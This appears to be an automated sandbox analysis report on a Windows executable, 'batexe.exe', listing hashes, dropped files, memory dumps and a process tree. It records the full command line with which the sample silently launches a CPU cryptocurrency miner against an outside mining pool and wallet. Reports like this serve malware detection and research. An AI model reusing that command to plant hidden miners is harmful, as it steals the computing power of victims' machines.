73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
291s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23/02/2024, 15:15

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4380	b2e.exe
4668	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4668	cpuminer-sse2.exe
4668	cpuminer-sse2.exe
4668	cpuminer-sse2.exe
4668	cpuminer-sse2.exe
4668	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2788-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2788 wrote to memory of 4380	2788	batexe.exe	75
PID 2788 wrote to memory of 4380	2788	batexe.exe	75
PID 2788 wrote to memory of 4380	2788	batexe.exe	75
PID 4380 wrote to memory of 3032	4380	b2e.exe	76
PID 4380 wrote to memory of 3032	4380	b2e.exe	76
PID 4380 wrote to memory of 3032	4380	b2e.exe	76
PID 3032 wrote to memory of 4668	3032	cmd.exe	79
PID 3032 wrote to memory of 4668	3032	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2788
- C:\Users\Admin\AppData\Local\Temp\AFA9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AFA9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AFA9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4380
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B3DF.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AFA9.tmp\b2e.exe

Filesize
8.1MB

MD5
7a3de1819ba1a330a41622a6c8c07d3a

SHA1
1e5881a0063de1d0aefbe629a6c3ef79b3b1e494

SHA256
ec04834e44d5ff945c9b35e7ce284c582abf50e5e73873504024d6eda79bb863

SHA512
53b11104936f35e4394c82143b83b81ffa0be6fcef92b3bf69db449dc053d6d06197f3a2cc216225eadd3e0fc0552e603e6351ba9f2b8125272f95c0d0d609e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\AFA9.tmp\b2e.exe

Filesize
7.1MB

MD5
db36cbed6e3ba5c0d2e63c0ea4477ca9

SHA1
6b1d67a57e785f870c69488f96d08cc34137e51a

SHA256
ae7ed152567735cfea2c64943680384f8de565e7de51d6b42a2f20a4f419c08d

SHA512
eb727755d3b9d9d648970225d9a91d5fc7536947d66638f40fe5310128135550a9357e178145959ca94e9f760f3f833fc5e748d121821e0f15d84174d38b8292

Download Submit
C:\Users\Admin\AppData\Local\Temp\B3DF.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
116KB

MD5
94ce55cbf2e0631766805e69da5ea80c

SHA1
75fd7000970956d6cd1f10b0f851fd6f1fe9c12e

SHA256
7ba3ed284b0cf7b5a7cd6f9f5ff9e8e512fd4af2ec93fb042f42f12d7ad02639

SHA512
c227a31ddba899c0f2e91d12d88f0135717d09d659854aa4a8c6193b729ea87a3f608f6ab5d05d72ce55d7730b09c170b661a0f706e393cc773a20ad75094f74

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
82KB

MD5
591b0c5ef2d0a498dd7b5ccb3f619e55

SHA1
1a00183936654f81970635c0d09382ca48e85d68

SHA256
81b78b2cb0235dae1f0feafa458eb2d20d0b6b2805be72768102f056ff8c6ef6

SHA512
233aa10289427845ce1f42ff4a3fedd0b9226f33fe8bec2e7d49c5f25379115305fab4478a56d8af4c26d0c3e95cf2fffded6fedfcbc363f909b1a2fca5ececb

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
64KB

MD5
7fcedb6e973c5df3b6652a2afafa6a13

SHA1
116728803559ab58a8127544df80b75a0dd1c6d2

SHA256
fd7191afdecd35b78a0c0ca0457cbbf42ffda1e52263cd785abca5f047b18825

SHA512
05c86bf84079a2cc13dc7a1a917a0839ccd2b18e0440c4bd419c99f65c4161ac69a9447f56bdf6051b2fbbc49b7556fc3717432d0e293dfae2921c0701fe64fd

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
8d55aefa73e494a4c445429bda459d31

SHA1
6b6ee08cff78e25fb28f7e55442456c55e66c9c0

SHA256
79964aec4730ad1ca2b2939ea374ce7b3994f4698261fdedda7d1a82fb8f3fcf

SHA512
d4230f1e5d999d53156e112d0838d5013fa07e08a319ce4a5aae0dfb1982cffe212ff33f35e1112d2d1ad6d3e6884cf821bc161020778cc1f6484ea9626f3372

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.5MB

MD5
50e314cdb6461000e0e8ed306cd8740b

SHA1
852cabe5c2cc78557fd671a118900d7cd36e65cc

SHA256
ad1ee99a57baaaf9a0ad89bf0969db748b1318df02e4746b3b48c978125f1d01

SHA512
b0fecb9f7e8bfbe5c05a239877f87fd030804c6649a7c3d8b4552848dfc7a0ae54801bd30e4203a37f164504645a7d03eda8cd30085def5f8461543640c92a9f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
64KB

MD5
6cccf65bd7d7ff5b53aeb882e15c462c

SHA1
a9822b63ad70c6085ed1deda0fbe4bc5fe555f3d

SHA256
1379cd6111c2c37cf16f2dd9b325118513e85c35543ba45e79deb504dd4c01d2

SHA512
c174b5f8615131c2b86c57aee166744ee1fe02ff7c916195f2fde06684f467545a3fa4f88083335e2045d12727d774279dc8672ec352de3095b729aa5d1dedcb

Download Submit
memory/2788-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4380-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4380-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4668-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4668-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4668-43-0x0000000055DA0000-0x0000000055E38000-memory.dmp

Filesize
608KB

Download
memory/4668-44-0x00000000010A0000-0x0000000002955000-memory.dmp

Filesize
24.7MB

Download
memory/4668-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4668-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4668-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4668-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4668-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4668-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4668-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4668-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4668-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4668-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4668-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download